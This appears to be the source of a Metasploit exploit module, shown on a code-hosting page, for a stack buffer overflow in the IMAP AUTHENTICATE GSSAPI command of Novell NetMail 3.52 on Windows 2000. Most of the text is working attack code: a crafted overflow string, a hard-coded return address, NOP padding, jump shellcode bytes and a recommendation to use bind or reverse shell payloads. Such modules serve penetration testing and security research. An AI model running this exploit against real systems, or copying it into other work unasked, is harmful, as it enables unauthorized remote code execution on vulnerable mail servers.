Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/imap/novell_netmail_auth.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Novell NetMail IMAP AUTHENTICATE Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE15GSSAPI command. By sending an overly long string, an attacker can overwrite the16buffer and control program execution. Using the PAYLOAD of windows/shell_bind_tcp17or windows/shell_reverse_tcp allows for the most reliable results.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'OSVDB', '55175' ]24],25'Privileged' => true,26'DefaultOptions' =>27{28'EXITFUNC' => 'thread',29'AllowWin32SEH' => true30},31'Payload' =>32{33'Space' => 850,34'BadChars' => "\x00\x20\x2c\x3a\x40",35'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",36'EncoderType' => Msf::Encoder::Type::AlphanumUpper,37},38'Platform' => 'win',39'Targets' =>40[41[ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 } ],42],43'DisclosureDate' => '2007-01-07',44'DefaultTarget' => 0))4546register_options( [ Opt::RPORT(143) ])47end4849def exploit50connect51sock.get_once5253jmp = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"54jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"55jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"5657sploit = "A001 AUTHENTICATE GSSAPI\r\n"58sploit << rand_text_alpha_upper(1258) + payload.encoded + "\xeb\x06"59sploit << rand_text_alpha_upper(2) + [target.ret].pack('V')60sploit << make_nops(8) + jmp + rand_text_alpha_upper(700)6162print_status("Trying target #{target.name}...")63sock.put(sploit + "\r\n" + "A002 LOGOUT\r\n")6465handler66disconnect67end68end697071